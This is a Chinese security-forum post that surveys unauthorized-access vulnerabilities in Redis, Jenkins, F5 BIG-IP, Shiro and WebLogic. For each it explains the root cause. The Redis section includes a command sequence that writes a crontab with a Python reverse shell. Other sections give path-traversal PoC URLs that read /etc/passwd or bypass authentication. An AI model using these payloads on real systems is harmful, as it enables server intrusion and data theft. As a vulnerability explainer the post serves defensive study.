|
本帖最后由 gclome 于 2021-3-3 11:00 编辑
原文链接:常见未授权访问漏洞实例
近来看到不少未授权访问漏洞,心想把这一块的几个漏洞归纳起来看看。未授权访问漏洞造成的危害可大可小,无论是数据库服务、或者像 Weblogic 这种大型中间件都曾出过未授权访问漏洞。本文鉴于前人对每个漏洞的分析十分详细,在此仅简单归纳几个未授权访问漏洞,未进行具体的代码分析,有兴趣的可以根据链接查看分析原文。
漏洞简介
未授权访问漏洞通常由于系统配置不当、无认证或无健全的认证机制所导致的。攻击者可利用该漏洞,使用低权限,甚至不需要基础权限即可访问特定的功能服务和使用高权限的功能,本质上是一种越权漏洞。
常见未授权访问漏洞实例
Redis 未授权访问漏洞
Redis 未授权访问漏洞可以说是老生常谈了。未配置密码登录的 Redis,默认监听在 6379 端口,可以直接被连接。由于 Redis 数据格式会存在“脏数据”,通常在实际利用中,通过写入 crontabl、ssh key 等此类具有容错性的文件来完成 RCE。也可以通过 Redis 的主从复制机制来完成 RCE,此处不赘。
通过写文件完成 RCE 的方式如下:
- 127.0.0.1:6379> config set dir /var/spool/cron/crontabs
- OK
- 127.0.0.1:6379> config set dbfilename root
- OK
- 127.0.0.1:6379> get 1
- "\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'\n"
- 127.0.0.1:6379> save
- OK</font>
复制代码
jenkins 未授权访问漏洞
jenkins 默认安装下未设置验证密码,导致访问默认的 8080 端口可以进入 Web 的管理页面。而利用其自带的“脚本命令”功能,即可完成 RCE。比较简单,具体如何利用参考一下网上文章。
- <https://blog.51cto.com/13770310/2156663</font>
复制代码
CVE-2020-5902 F5-BIG-IP 未授权 RCE
PoC 如下:
- /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd</font>
复制代码
具体的分析可以看360CERT的分析文章
https://www.anquanke.com/post/id/210706
5-BIG-IP 服务通过 Apache2 + Tomcat ajp 的方式运行。问题出在 Apache2 和 Tomcat 对 URL 处理的方式不一致,导致特定的 URL 可以绕过验证。更具体的来说,应该是 Tomcat 的 parsePathParameters 方法中认为";"具有特殊意义的,并且在后续的 normalize 方法中会删除 "../",并且返回上层目录,于是造成了未授权访问漏洞。
- Apache传递给Tomcat => /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
- Tomcat的parsePathParameters方法处理后 => /tmui/login.jsp/../tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
- Tomcat的normalize方法处理后 => /tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd</font>
复制代码
引用 360CERT 文章中的两张图。
CVE-2020-1957 Shiro 未授权访问
PoC 如下:
具体的分析可以看先知上的分析文章
https://xz.aliyun.com/t/8281
Shiro 是利用 Java web 的 filter 实现鉴权,因此一个请求会先经过 Shiro 处理。在 Shiro 的处理过程中,会截断“;”后面的内容,虽然 Payload 的形式与 F5 的漏洞一样,但具体流程不太相同。将“;”处理后,Shiro 会与配置中的过滤器进行比对。而通过校验后再传入 Spring 之中,在 Spring 的处理流程下,和 Tomcat 一样,删除“;”和删除“../”并返回上一级目录。
- 进入Shiro处理 => /xxxxx/..;/admin
- Shiro截断;=> /xxxx/..
- 与过滤器匹配失败,认定无需鉴权传入Spring之中
- Spring处理 => /xxxxx/..;/admin
- =>/admin</font>
复制代码
Shiro 还存在着另外两种绕过方式,分别为/admin/%20和http://127.0.0.1:8080/admin/%2e。该流程会比 CVE-2020-1957 相对复杂一些,第一种是由于 /admin/%20 与 /admin/* 进行匹配时会失败,接着 tokenizeToStringArray 方法在 trimTokens 参数为 true 的情况下会清除掉空格,而后再次来到 getChain 方法会删除掉最后的“/”,导致 /admin/* 与 /admin 匹配失败,绕过了验证。通体来说这两种绕过的方式,是 Shiro 在处理 URL 时的逻辑问题。
- doMatch => "/admin/*","/admin/%20不匹配
- tokenizeToStringArray => 删除空格(%20)
- getChain => 删除 “/”
- doMatch => "/admin/*","/admin"不匹配</font>
复制代码
更多细节分析参看 seebug 的文章
https://paper.seebug.org/1478/#0x03-poc。
CVE-2020-14882 Weblogic 未授权访问漏洞
PoC:
- /console/css/%252e%252e%252fconsole.portal
- urldecode后
- /console/css/../console.portal</font>
复制代码
具体分析可查看 Freebuf 文章
https://www.freebuf.com/vuls/254408.html
从 PoC 出可以看出又是“../”进行目录跨越,通过这个漏洞注意到的是,静态资源文件是不参与鉴权,如果能通过某种奇技淫巧来让程序误以为访问的是静态资源,而实际上是访问需要权限的页面,那么就会造成未授权的访问。在 weblogic 中,无需参与鉴权的文件会引入一个 map 之中,引用一张文章里的图片。PoC 正是利用了 css 不参与鉴权的特点。
总结
未授权访问漏洞的案例有很多,此处仅列出了 5 个,做个小总结。
程序默认配置可能存在隐患
正如本文 Redis、jenkins,默认配置并未配置密码,并且如若服务部署在公网 IP 上,且未对来源 IP 进行过滤,那么很可能造成安全事故。诸如此类的还有像 Docker API, mongodb 等服务,还有近期爆出的 Nacos 未授权访问的问题,默认的 User-agent 可以绕过鉴权,就像默认密码一样。
应用程序的解析差异可能会造成问题
这个问题和 HTTP 参数污染一样,不同的容器解析机制不同,未能正确处理 URL 的话可能会造成绕过。
程序自身逻辑可能导致绕过
比如 Weblogic 未授权访问,还有 Shiro 的第二种绕过方式,都是因自身的逻辑问题。Web 应用中的静态
资源是一个可以关注的地方,可以在此寻找借助静态资源访问路径加上特殊构造的方式来绕过鉴权。
向各个接口发送不带 cookie 的请求包可能会有惊喜
可以借鉴 Vcenter 未授权访问漏洞作者的挖掘方法
通过采用了黑盒测试和白盒测试方法,专注于无需授权即可利用的漏洞。我尝试通过 Web 面板发送尽可能不同的请求且全部都没有 cookie 标头。
可以看看代码卫士翻译的文章
https://mp.weixin.qq.com/s/GRbtvk97QLaTnDDQIA_2vA
|
|